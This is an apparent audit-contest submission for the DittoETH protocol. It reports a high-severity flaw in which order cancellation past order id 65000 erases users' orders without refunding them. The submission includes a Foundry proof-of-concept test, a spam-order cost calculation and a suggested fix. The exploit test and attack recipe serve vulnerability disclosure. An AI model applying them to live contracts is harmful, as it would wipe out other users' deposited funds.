DittoETH

Ditto
DeFiFoundryOracle
55,000 USDC
View results
Submission Details
Severity: high
Valid

All orders can be cancelled without reimbursing funds to creators once order id reaches 65000

Vulnerability Details

The cancelOrderFarFromOracle function fails to reimburse funds to the order creator upon cancellation and doesn't decrement the order id when orders get cancelled. Hence if once order id reaches 65000, an attacker can continously delete the last order how much ever times as wished, giving the ability to eventually delete all the orders.

function cancelOrderFarFromOracle(
address asset,
O orderType,
uint16 lastOrderId,
uint16 numOrdersToCancel
) external onlyValidAsset(asset) nonReentrant {
if (s.asset[asset].orderId < 65000) {
revert Errors.OrderIdCountTooLow();
}
if (numOrdersToCancel > 1000) {
revert Errors.CannotCancelMoreThan1000Orders();
}
if (msg.sender == LibDiamond.diamondStorage().contractOwner) {
if (
orderType == O.LimitBid
&& s.bids[asset][lastOrderId].nextId == Constants.TAIL
) {
s.bids.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);
} else if (
/// more code. similar deletion for asks and shorts
}
} else {
//@dev if address is not DAO, you can only cancel last order of a side
if (
orderType == O.LimitBid
&& s.bids[asset][lastOrderId].nextId == Constants.TAIL
) {
s.bids.cancelOrder(asset, lastOrderId);
} else if (
/// more code. similar deletion for asks and shorts
}

https://github.com/Cyfrin/2023-09-ditto/blob/a93b4276420a092913f43169a353a6198d3c21b9/contracts/facets/OrdersFacet.sol#L124-L177C10

// @audit cancelOrder just manages the location of the cancelled order on the orderbook
function cancelOrder(
mapping(address => mapping(uint16 => STypes.Order)) storage orders,
address asset,
uint16 id
) internal {
// save this since it may be replaced
uint16 prevHEAD = orders[asset][Constants.HEAD].prevId;
// remove the links of ID in the market
// @dev (ID) is exiting, [ID] is inserted
// BEFORE: PREV <-> (ID) <-> NEXT
// AFTER : PREV <----------> NEXT
orders[asset][orders[asset][id].nextId].prevId = orders[asset][id].prevId;
orders[asset][orders[asset][id].prevId].nextId = orders[asset][id].nextId;
// create the links using the other side of the HEAD
emit Events.CancelOrder(asset, id, orders[asset][id].orderType);
_reuseOrderIds(orders, asset, id, prevHEAD, O.Cancelled);
}

https://github.com/Cyfrin/2023-09-ditto/blob/a93b4276420a092913f43169a353a6198d3c21b9/contracts/libraries/LibOrders.sol#L317-L335

Test Code

diff --git a/test/CancelOrder.t.sol b/test/CancelOrder.t.sol
index e7b9e2f..65419dd 100644
--- a/test/CancelOrder.t.sol
+++ b/test/CancelOrder.t.sol
@@ -1,17 +1,19 @@
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.21;
-import {U256, U88} from "contracts/libraries/PRBMathHelper.sol";
+import {U256, U88,U80} from "contracts/libraries/PRBMathHelper.sol";
import {Errors} from "contracts/libraries/Errors.sol";
import {STypes, MTypes, O, SR} from "contracts/libraries/DataTypes.sol";
import {LibOrders} from "contracts/libraries/LibOrders.sol";
import {OBFixture} from "test/utils/OBFixture.sol";
// import {console} from "contracts/libraries/console.sol";
+import {Constants, Vault} from "contracts/libraries/Constants.sol";
contract CancelOrderTest is OBFixture {
using U256 for uint256;
using U88 for uint88;
+ using U80 for uint80;
uint256 private startGas;
uint256 private gasUsed;
@@ -240,6 +242,59 @@ contract CancelOrderTest is OBFixture {
});
}
+ function test_OnceReached65000CanCancelInfiniteAndDoesntAccount() public {
+ uint80 price = type(uint80).max;
+ uint256 minAskEth = 0.001 ether;
+ uint88 minAskAmount = uint88((minAskEth * 1 ether) / price) + 1;
+ assertEq(price.mul(minAskAmount) > minAskEth,true);
+ assertEq(minAskAmount , 0.000000000827180613 ether);
+ assertEq(minAskAmount * 65000 , 0.000053766739845 ether );
+
+ vm.prank(owner);
+ testFacet.setOrderIdT(asset, 64995);
+
+ //a bid that will be cancelled without accounting by the attacker
+ fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
+ assertEq(getBids().length, 1);
+ assertEq(getBids()[0].addr, receiver);
+
+ depositUsd(extra, minAskAmount * 4);
+
+ //create 4 asks to reach 65000
+ for(uint i=0;i<4;i++){
+
+ MTypes.OrderHint[] memory orderHintArray =
+ diamond.getHintArray(asset, price, O.LimitAsk);
+
+ vm.prank(extra);
+ diamond.createAsk(asset, price, minAskAmount, Constants.LIMIT_ORDER, orderHintArray);
+ }
+
+ //delete 4 asks made by attacker
+ assertEq(diamond.getAssetNormalizedStruct(asset).orderId, 65000);
+ for(uint16 i=1;i<=4;i++){
+ vm.prank(extra);
+ diamond.cancelOrderFarFromOracle({
+ asset: asset,
+ orderType: O.LimitAsk,
+ lastOrderId: 65000 - i,
+ numOrdersToCancel: 1
+ });
+ }
+
+ //delete the bid
+ vm.prank(extra);
+ diamond.cancelOrderFarFromOracle({
+ asset: asset,
+ orderType: O.LimitBid,
+ lastOrderId: 64995,
+ numOrdersToCancel: 1});
+
+ //user doesn't get any funds returned
+ assertEq(getBids().length, 0);
+ assertEq(diamond.getVaultUserStruct(vault,receiver).ethEscrowed,0);
+ }
+
function testRevertMoreThan1000Orders() public {
vm.prank(owner);
testFacet.setOrderIdT(asset, 65000);

Even if the order id doesn't reach anywhere close to 65000, an exploit is possible depending on the attacker's ability to spend for gas fees (a calculation is attached below) and the time it would take for the project to react. Apart from causing grief to the user's and disrupting the protocol, certain market conditions might allow the attacker to even profit off the attack eventually. If the amount of pegged asset in the order-book is extremely high, an attacker might profit off by selling the pegged asset in a secondary market where demand could be generated by the shorters trying to obtain the pegged asset to close their debt and obtain their collateral worth 5x more back.

Apart from this an incorrect assumption is made that each order requires a minimum ETH amount when considering the possibility of order id reaching 65000 due to spam orders. Although creation of bids and shorts require a minimum amount of eth, asks can be created with a very low amount (0.000000000827180613 usd) of pegged asset by providing maximum value for price. The requirement for creation of asks is that:

uint256 eth = price.mul(ercAmount);
uint256 minAskEth = LibAsset.minAskEth(asset);
if (eth < minAskEth) revert Errors.OrderUnderMinimumSize();
if (s.assetUser[asset][msg.sender].ercEscrowed < ercAmount) {
revert Errors.InsufficientERCEscrowed();
}

Cost Calculation

Spam Orders Creation Cost:

Since the price is not capped, an attacker can provide price as type(uint80).max:

minAskEth = 0.001 * 1e18
price = type(uint80).max
ercAmount = (minAskEth * 1 ether) / price + 1 == 0.000000000827180613 usd
for 65000 orders = 0.000053766739845 usd

The attacker would have to spent the gas fees to create the ask order 65000 times at max. Calculating the required USD for the attack with some assumptions:

approximate gas single call (createAsk) : 83959
max gas required: 65000 * 83959 = 5457335000
ether price range : 1600usd - 2000usd
gas price range : 20gwei - 100gwei
usd cost range: 180092 - 1091467

To Cancel Orders:

approximate gas single call (GasCancelAskFarFromHead) : 40686
max gas required: 65000 * 40686 = 2644590000
ether price range : 1600usd - 2000usd
gas price range : 20gwei - 100gwei
usd cost range: 84626 - 528918

Hence an attack costing in the range 264718 - 1620385 USD would most likely be able to disrupt the entire project.

Impact

Users having an active order at present or in future will loose their funds

Recommendations

Reimburse funds on cancellation of orders. Since this function also fails to verify the order status before cancellation which leads to another exploit, it would be best to follow all the checks done for normal cancellation of orders.

diff --git a/contracts/facets/OrdersFacet.sol b/contracts/facets/OrdersFacet.sol
index 0a924e7..7cbb8bd 100644
--- a/contracts/facets/OrdersFacet.sol
+++ b/contracts/facets/OrdersFacet.sol
@@ -59,6 +59,11 @@ contract OrdersFacet is Modifiers {
{
STypes.Order storage ask = s.asks[asset][id];
if (msg.sender != ask.addr) revert Errors.NotOwner();
+ _cancelAsk(asset, id);
+ }
+
+ function _cancelAsk(address asset, uint16 id) internal {
+ STypes.Order storage ask = s.asks[asset][id];
O orderType = ask.orderType;
if (orderType == O.Cancelled || orderType == O.Matched) {
revert Errors.NotActiveOrder();
@@ -165,7 +170,8 @@ contract OrdersFacet is Modifiers {
orderType == O.LimitAsk
&& s.asks[asset][lastOrderId].nextId == Constants.TAIL
) {
- s.asks.cancelOrder(asset, lastOrderId);
+ _cancelAsk(asset, lastOrderId);
+ // s.asks.cancelOrder(asset, lastOrderId);
} else if (
orderType == O.LimitShort
&& s.shorts[asset][lastOrderId].nextId == Constants.TAIL

Similar changes to bids and shorts

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-436

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-436

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.